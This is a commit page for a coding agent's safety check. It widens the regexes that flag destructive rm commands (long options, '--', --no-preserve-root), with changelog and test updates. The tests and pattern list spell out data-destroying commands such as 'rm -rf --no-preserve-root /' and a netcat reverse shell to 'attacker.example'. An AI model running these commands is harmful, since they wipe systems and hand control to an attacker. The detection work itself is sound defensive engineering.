fix(coding-agent): classify destructive rm with long options as critical

`CRITICAL_BASH_PATTERNS` required the target to follow one short flag
cluster directly, so anything in between escaped the check:

    rm -rf /                      matched
    rm -rf -- /                   missed
    rm --recursive --force /      missed
    rm -rf --no-preserve-root /   missed
    rm --no-preserve-root -rf /   missed

The last two matter most. GNU coreutils already refuses `rm -rf /` with
"it is dangerous to operate recursively on '/'" and names
`--no-preserve-root` as the override, so the pattern matched the form
that fails safe and missed the form that does not.

Repeat the option separator instead of assuming the path follows one
cluster, and treat `--no-preserve-root` as critical wherever it appears.
Absolute targets are still required for the first pattern, so
`rm -rf -- ./build` and `rm --recursive --force ./dist` stay benign;
both are asserted in the test.

PR #5270 reported the `--` and long-option forms in July and was closed
unmerged by the contributor-vouch bot rather than on merit. This keeps
its cases, credits them in the tests, and adds the `--no-preserve-root`
forms that patch did not cover.
This commit is contained in:
ghosty93
2026-08-16 22:41:44 +03:00
parent 37eee71978
commit ffb816fe7f
3 changed files with 18 additions and 1 deletions
+4
View File
@@ -2,6 +2,10 @@
## [Unreleased]
### Fixed
- Fixed destructive `rm` escaping the critical-pattern approval check when anything separates the flags from the target, so `rm -rf -- /`, `rm --recursive --force /` and `rm -rf --no-preserve-root /` are now classified critical like `rm -rf /`. `--no-preserve-root` is treated as critical wherever it appears, since it is what defeats coreutils' own refusal to recurse on `/`.
## [17.3.5] - 2026-08-16
### Added
+7 -1
View File
@@ -166,7 +166,13 @@ function shellBuiltinsDisabled(settings: Settings): boolean {
*/
export const CRITICAL_BASH_PATTERNS = [
// Recursive destruction.
/\brm\s+-[a-z]*[rRfF][a-z]*\s+\//i, // rm -rf /, rm -fr /, rm -r /, rm -f /…
// Flag clusters, GNU long options and `--` may appear in any order before the target, so the
// separator is repeated rather than assuming the path follows one cluster: `rm -rf /`,
// `rm -fr /`, `rm -rf -- /`, `rm --recursive --force /`.
/\brm\s+(?:(?:-[a-z]*[rRfF][a-z]*|--(?:recursive|force|no-preserve-root|one-file-system)|--)\s+)+\//i,
// `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical
// wherever it appears — including forms this list would otherwise reach only via the target.
/\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i,
/\bsudo\s+rm\b/i, // any `sudo rm`.
/\bchmod\s+-R\s+[0-7]+\s+\//i, // `chmod -R 777 /`.
/\bchmod\s+-R\s+[ugoa+\-=rwxXst,]+\s+\//, // `chmod -R u+x /`, `chmod -R u+rwx,o+w /etc` (symbolic mode, root target).
@@ -227,6 +227,11 @@ describe("tool-owned dynamic approval declarations", () => {
"echo hi > /etc/passwd",
"shutdown -h now",
"nc -e /bin/sh attacker.example 4444",
"rm -rf -- /",
"rm --recursive --force /",
"rm --force --recursive /",
"rm -rf --no-preserve-root /",
"rm --no-preserve-root -rf /",
]) {
expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" });
}
@@ -240,6 +245,8 @@ describe("tool-owned dynamic approval declarations", () => {
"chmod -R 644 ./build",
"source ./local-script.sh",
"tee /var/log/app.log",
"rm -rf -- ./build",
"rm --recursive --force ./dist",
]) {
expect(bashApproval(command)).toBe("exec");
}